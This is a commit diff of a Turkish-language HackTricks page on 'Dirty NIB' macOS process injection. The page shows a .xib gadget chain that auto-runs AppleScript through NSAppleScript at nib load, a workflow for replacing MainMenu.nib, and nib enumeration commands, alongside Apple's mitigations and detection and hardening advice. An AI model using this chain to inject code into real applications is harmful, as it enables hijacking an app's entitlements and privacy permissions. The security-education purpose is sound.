mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
00278c7f40
commit
df93c0e588
@ -2,72 +2,145 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Teknik hakkında daha fazla detay için orijinal gönderiyi kontrol edin:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) ve [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** İşte bir özet:
|
||||
Dirty NIB, imzalı bir macOS app paketinin içindeki Interface Builder dosyaları (.xib/.nib) kötüye kullanılarak hedef süreç içinde saldırgan kontrollü mantığın çalıştırılmasına ve böylece o sürecin entitlements ve TCC izinlerinin devralınmasına işaret eder. Bu teknik ilk olarak xpn (MDSec) tarafından belgelenmiş, daha sonra Sector7 tarafından genelleştirilmiş ve önemli ölçüde genişletilmiştir; Sector7 ayrıca Apple’ın macOS 13 Ventura ve macOS 14 Sonoma’daki hafifleştirmelerini de ele almıştır. Arka plan ve detaylı incelemeler için sondaki referanslara bakın.
|
||||
|
||||
### Nib dosyaları nedir
|
||||
> Özet
|
||||
> • macOS 13 Ventura öncesi: bir bundle’ın MainMenu.nib’ini (veya startup’ta yüklenen başka bir nib’i) değiştirmek genellikle process injection elde etmeye ve sıkça privilege escalation’a güvenilir şekilde ulaşmaya izin veriyordu.
|
||||
> • macOS 13 (Ventura) ile başlayan ve macOS 14 (Sonoma) ile geliştirilmiş: first‑launch deep verification, bundle protection, Launch Constraints ve yeni TCC “App Management” izni, ilişkisiz uygulamaların post‑launch nib tahrifatını büyük ölçüde engelliyor. Yine de bazı niş durumlarda saldırılar mümkün olabilir (ör. aynı geliştiriciye ait tooling’in kendi uygulamalarını değiştirmesi veya kullanıcı tarafından App Management/Full Disk Access verilmiş terminaller gibi).
|
||||
|
||||
Nib (NeXT Interface Builder'ın kısaltması) dosyaları, Apple'ın geliştirme ekosisteminin bir parçası olarak, uygulamalardaki **UI öğelerini** ve etkileşimlerini tanımlamak için tasarlanmıştır. Pencereler ve butonlar gibi serileştirilmiş nesneleri kapsar ve çalışma zamanında yüklenir. Sürekli kullanımlarına rağmen, Apple artık daha kapsamlı UI akış görselleştirmesi için Storyboard'ları önermektedir.
|
||||
## What are NIB/XIB files
|
||||
|
||||
Ana Nib dosyası, uygulamanın `Info.plist` dosyasında **`NSMainNibFile`** değerinde referans alınır ve uygulamanın `main` fonksiyonunda yürütülen **`NSApplicationMain`** fonksiyonu tarafından yüklenir.
|
||||
Nib (NeXT Interface Builder kısaltması) dosyaları, AppKit uygulamaları tarafından kullanılan serileştirilmiş UI nesne grafikleri’dir. Modern Xcode, düzenlenebilir XML .xib dosyalarını depolar ve bunlar build zamanında .nib’e derlenir. Tipik bir uygulama ana UI’sini `NSApplicationMain()` aracılığıyla yükler; bu fonksiyon app’in Info.plist’inden `NSMainNibFile` anahtarını okur ve çalışma zamanında nesne grafiğini örnekler.
|
||||
|
||||
### Kirli Nib Enjeksiyon Süreci
|
||||
Saldırıyı mümkün kılan ana noktalar:
|
||||
- NIB yükleme, sınıfların NSSecureCoding’e uymasını gerektirmeden rastgele Objective‑C sınıflarını örnekler (Apple’ın nib loader’ı `initWithCoder:` mevcut olmadığında `init`/`initWithFrame:`’e geri döner).
|
||||
- Cocoa Bindings, nib’ler örneklenirken yöntem çağırmak için kötüye kullanılabilir; kullanıcı etkileşimi gerektirmeyen zincirlenmiş çağrılar dahil.
|
||||
|
||||
#### NIB Dosyası Oluşturma ve Ayarlama
|
||||
## Dirty NIB injection process (attacker view)
|
||||
|
||||
1. **İlk Kurulum**:
|
||||
- XCode kullanarak yeni bir NIB dosyası oluşturun.
|
||||
- Arayüze bir Nesne ekleyin, sınıfını `NSAppleScript` olarak ayarlayın.
|
||||
- Başlangıç `source` özelliğini Kullanıcı Tanımlı Çalışma Zamanı Özellikleri aracılığıyla yapılandırın.
|
||||
2. **Kod Yürütme Aleti**:
|
||||
- Kurulum, AppleScript'in talep üzerine çalıştırılmasını sağlar.
|
||||
- `Apple Script` nesnesini etkinleştirmek için bir buton ekleyin, özellikle `executeAndReturnError:` seçicisini tetikleyin.
|
||||
3. **Test**:
|
||||
Klasik Ventura‑öncesi akış:
|
||||
1) Kötücül bir .xib oluşturun
|
||||
- Bir `NSAppleScript` nesnesi ekleyin (veya `NSTask` gibi diğer “gadget” sınıflar).
|
||||
- Başlığı payload içeren (ör. AppleScript veya komut argümanları) bir `NSTextField` ekleyin.
|
||||
- Hedef nesne üzerinde yöntemleri çağırmak için bindings ile bağlanmış bir veya daha fazla `NSMenuItem` nesnesi ekleyin.
|
||||
|
||||
- Test amaçlı basit bir Apple Script:
|
||||
2) Kullanıcı tıklaması olmadan otomatik tetikleyin
|
||||
- Bir menü öğesinin target/selector’ünü ayarlamak için bindings kullanın ve ardından eylemin nib yüklendiğinde otomatik olarak tetiklenmesi için özel `_corePerformAction` metodunu çağırın. Bu, bir kullanıcının butona tıklaması gerekliliğini ortadan kaldırır.
|
||||
|
||||
```bash
|
||||
Bir .xib içinde otomatik tetik zincirinin minimal örneği (anlaşılırlık için kısaltılmış):
|
||||
```xml
|
||||
<objects>
|
||||
<customObject id="A1" customClass="NSAppleScript"/>
|
||||
<textField id="A2" title="display dialog \"PWND\""/>
|
||||
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
|
||||
<menuItem id="C1">
|
||||
<connections>
|
||||
<binding name="target" destination="A1"/>
|
||||
<binding name="selector" keyPath="initWithSource:"/>
|
||||
<binding name="Argument" destination="A2" keyPath="title"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
|
||||
<menuItem id="C2">
|
||||
<connections>
|
||||
<binding name="target" destination="A1"/>
|
||||
<binding name="selector" keyPath="executeAndReturnError:"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<!-- Triggers that auto‑press the above menu items at load time -->
|
||||
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
|
||||
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
|
||||
</objects>
|
||||
```
|
||||
Bu, nib yüklendiğinde hedef süreçte keyfi AppleScript yürütülmesini sağlar. Gelişmiş zincirler şunları yapabilir:
|
||||
- Keyfi AppKit sınıflarını örnekleyebilir (ör. `NSTask`) ve `-launch` gibi argümansız yöntemleri çağırabilir.
|
||||
- Yukarıdaki binding hilesiyle nesne argümanlı keyfi selector'leri çağırabilir.
|
||||
- AppleScriptObjC.framework'i yükleyip Objective‑C'ye köprü kurabilir ve seçili C API'lerini bile çağırabilir.
|
||||
- Hâlâ Python.framework içeren daha eski sistemlerde, Python'a köprü kurup `ctypes` kullanarak keyfi C fonksiyonlarını çağırabilir (Sector7'in araştırması).
|
||||
|
||||
3) Uygulamanın nib'ini değiştirin
|
||||
- target.app'i yazılabilir bir konuma kopyalayın, örn. `Contents/Resources/MainMenu.nib` dosyasını kötü amaçlı nib ile değiştirin ve target.app'i çalıştırın. Pre‑Ventura döneminde, tek seferlik bir Gatekeeper değerlendirmesinden sonra sonraki başlatmalarda yalnızca yüzeysel imza kontrolleri yapıldığından, yürütülebilir olmayan kaynaklar (ör. .nib) yeniden doğrulanmazdı.
|
||||
|
||||
Görünür bir test için örnek AppleScript payload:
|
||||
```applescript
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
## Modern macOS protections (Ventura/Monterey/Sonoma/Sequoia)
|
||||
|
||||
- XCode hata ayıklayıcısında çalıştırarak ve butona tıklayarak test edin.
|
||||
Apple, Dirty NIB'in modern macOS'ta geçerliliğini önemli ölçüde azaltan birkaç sistemsel hafifletme getirdi:
|
||||
- First‑launch deep verification and bundle protection (macOS 13 Ventura)
|
||||
- Herhangi bir uygulamanın ilk çalıştırılmasında (quarantined or not), derin bir imza doğrulaması tüm bundle kaynaklarını kapsar. Sonrasında bundle korunur: yalnızca aynı geliştiriciden gelen uygulamalar (veya uygulama tarafından açıkça izin verilenler) içeriğini değiştirebilir. Diğer uygulamaların başka bir uygulamanın bundle'ına yazabilmesi için yeni TCC “App Management” iznine ihtiyaç vardır.
|
||||
- Launch Constraints (macOS 13 Ventura)
|
||||
- System/Apple‑bundled apps can’t be copied elsewhere and launched; bu, OS uygulamaları için “copy to /tmp, patch, run” yaklaşımını öldürür.
|
||||
- Improvements in macOS 14 Sonoma
|
||||
- Apple App Management'ı sertleştirdi ve Sector7 tarafından belirtilen bilinen bypass'ları (ör. CVE‑2023‑40450) düzeltti. Python.framework daha önce (macOS 12.3) kaldırılmıştı, bu da bazı privilege‑escalation zincirlerini kırdı.
|
||||
- Gatekeeper/Quarantine changes
|
||||
- Bu tekniği etkileyen Gatekeeper, provenance, ve assessment değişikliklerinin daha geniş tartışması için, aşağıda referans verilen sayfaya bakın.
|
||||
|
||||
#### Bir Uygulamayı Hedefleme (Örnek: Pages)
|
||||
> Practical implication
|
||||
> • On Ventura+ you generally cannot modify a third‑party app’s .nib unless your process has App Management or is signed by the same Team ID as the target (e.g., developer tooling).
|
||||
> • Granting App Management or Full Disk Access to shells/terminals effectively re‑opens this attack surface for anything that can execute code inside that terminal’s context.
|
||||
|
||||
1. **Hazırlık**:
|
||||
- Hedef uygulamayı (örneğin, Pages) ayrı bir dizine (örneğin, `/tmp/`) kopyalayın.
|
||||
- Gatekeeper sorunlarını aşmak ve önbelleğe almak için uygulamayı başlatın.
|
||||
2. **NIB Dosyasını Üzerine Yazma**:
|
||||
- Mevcut bir NIB dosyasını (örneğin, Hakkında Panel NIB) oluşturulan DirtyNIB dosyasıyla değiştirin.
|
||||
3. **Yürütme**:
|
||||
- Uygulama ile etkileşimde bulunarak yürütmeyi tetikleyin (örneğin, `Hakkında` menü öğesini seçerek).
|
||||
|
||||
#### Kavramsal Kanıt: Kullanıcı Verilerine Erişim
|
||||
### Launch Constraints'i Ele Alma
|
||||
|
||||
- Kullanıcı izni olmadan fotoğraflar gibi kullanıcı verilerine erişmek ve çıkarmak için AppleScript'i değiştirin.
|
||||
Launch Constraints, Ventura ile başlayarak birçok Apple uygulamasının varsayılan olmayan konumlardan çalıştırılmasını engeller. Eğer bir Apple uygulamasını geçici bir dizine kopyalayıp, `MainMenu.nib`'i değiştirip başlatmak gibi pre‑Ventura iş akışlarına dayanıyorsanız, bunun >= 13.0'da başarısız olmasını bekleyin.
|
||||
|
||||
### Kod Örneği: Kötü Amaçlı .xib Dosyası
|
||||
|
||||
- Rastgele kod yürütmeyi gösteren bir [**kötü amaçlı .xib dosyası örneği**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) erişin ve inceleyin.
|
||||
## Hedefleri ve nib'leri listeleme (araştırma / eski sistemler için faydalı)
|
||||
|
||||
### Diğer Örnek
|
||||
- UI'si nib‑tabanlı uygulamaları tespit edin:
|
||||
```bash
|
||||
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
|
||||
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
|
||||
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
|
||||
```
|
||||
- Bir bundle içinde aday nib kaynaklarını bul:
|
||||
```bash
|
||||
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
|
||||
```
|
||||
- Kod imzalarını derinlemesine doğrulayın (kaynaklarla oynadıysanız ve yeniden imzalamadıysanız başarısız olur):
|
||||
```bash
|
||||
codesign --verify --deep --strict --verbose=4 target.app
|
||||
```
|
||||
> Not: Modern macOS'ta, başka bir uygulamanın bundle'ına uygun yetki olmadan yazmaya çalıştığınızda bundle protection/TCC tarafından engellenirsiniz.
|
||||
|
||||
[https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) adresinde kirli nib oluşturma hakkında bir eğitim bulabilirsiniz.
|
||||
## Tespit ve DFIR ipuçları
|
||||
|
||||
### Başlatma Kısıtlamalarını Ele Alma
|
||||
- bundle kaynakları üzerinde dosya bütünlüğü izleme
|
||||
- Yüklü uygulamalarda `Contents/Resources/*.nib` ve diğer yürütülemeyen kaynaklarda mtime/ctime değişikliklerini izleyin.
|
||||
- Unified logs ve süreç davranışı
|
||||
- GUI uygulamaları içinde beklenmeyen AppleScript yürütmelerini ve AppleScriptObjC veya Python.framework yükleyen süreçleri izleyin. Örnek:
|
||||
```bash
|
||||
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
|
||||
```
|
||||
- Proaktif değerlendirmeler
|
||||
- Kritik uygulamalar üzerinde `codesign --verify --deep` komutunu periyodik olarak çalıştırarak kaynakların sağlam kaldığından emin olun.
|
||||
- Yetki bağlamı
|
||||
- TCC “App Management” veya Full Disk Access hakkına kimlerin/neyin sahip olduğunu denetleyin (özellikle terminaller ve yönetim ajanları). Genel‑amaç shell'lerden bunları kaldırmak, Dirty NIB‑stilindeki manipülasyonların kolayca yeniden etkinleştirilmesini engeller.
|
||||
|
||||
- Başlatma Kısıtlamaları, uygulama yürütmesini beklenmedik yerlerden (örneğin, `/tmp`) engeller.
|
||||
- Başlatma Kısıtlamaları ile korunmayan uygulamaları tanımlamak ve NIB dosyası enjeksiyonu için hedeflemek mümkündür.
|
||||
|
||||
### Ek macOS Koruma Önlemleri
|
||||
## Savunma sertleştirmesi (geliştiriciler ve savunucular)
|
||||
|
||||
macOS Sonoma'dan itibaren, Uygulama paketleri içindeki değişiklikler kısıtlanmıştır. Ancak, önceki yöntemler şunları içeriyordu:
|
||||
- Programatik UI tercih edin veya nib'lerden instantiated edilen öğeleri sınırlayın. nib grafiğine güçlü sınıfları (ör. `NSTask`) dahil etmekten kaçının ve rastgele nesneler üzerinde dolaylı olarak selector çağıran bindings'ten kaçının.
|
||||
- Library Validation ile hardened runtime'ı benimseyin (modern uygulamalar için zaten standart). Bu tek başına nib enjeksiyonunu durdurmasa da kolay native kod yüklemeyi engeller ve saldırganları sadece scripting‑tabanlı payload'lara zorlar.
|
||||
- Genel‑amaç araçlarda geniş App Management izinleri talep etmeyin veya bunlara bağlı olmayın. Eğer MDM App Management gerektiriyorsa, bu bağlamı kullanıcı tarafından başlatılan shell'lerden ayırın.
|
||||
- Uygulama bundle'ınızın bütünlüğünü düzenli olarak doğrulayın ve güncelleme mekanizmalarınızı bundle kaynaklarını otomatik olarak onaran şekilde tasarlayın.
|
||||
|
||||
1. Uygulamayı farklı bir konuma (örneğin, `/tmp/`) kopyalamak.
|
||||
2. İlk korumaları aşmak için uygulama paketindeki dizinleri yeniden adlandırmak.
|
||||
3. Uygulamayı Gatekeeper ile kaydetmek için çalıştırdıktan sonra, uygulama paketini değiştirmek (örneğin, MainMenu.nib'i Dirty.nib ile değiştirmek).
|
||||
4. Dizinleri geri yeniden adlandırmak ve enjeksiyon yapılan NIB dosyasını yürütmek için uygulamayı yeniden çalıştırmak.
|
||||
|
||||
**Not**: Son macOS güncellemeleri, Gatekeeper önbelleklemesinden sonra uygulama paketleri içinde dosya değişikliklerini engelleyerek bu istismarı etkisiz hale getirmiştir.
|
||||
## Related reading in HackTricks
|
||||
|
||||
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
|
||||
|
||||
{{#ref}}
|
||||
../macos-security-protections/macos-gatekeeper.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- xpn – DirtyNIB (orijinal yazı, Pages örneğiyle): https://blog.xpnsec.com/dirtynib/
|
||||
- Sector7 – Bringing process injection into view(s): exploiting all macOS apps using nib files (5 Nisan 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user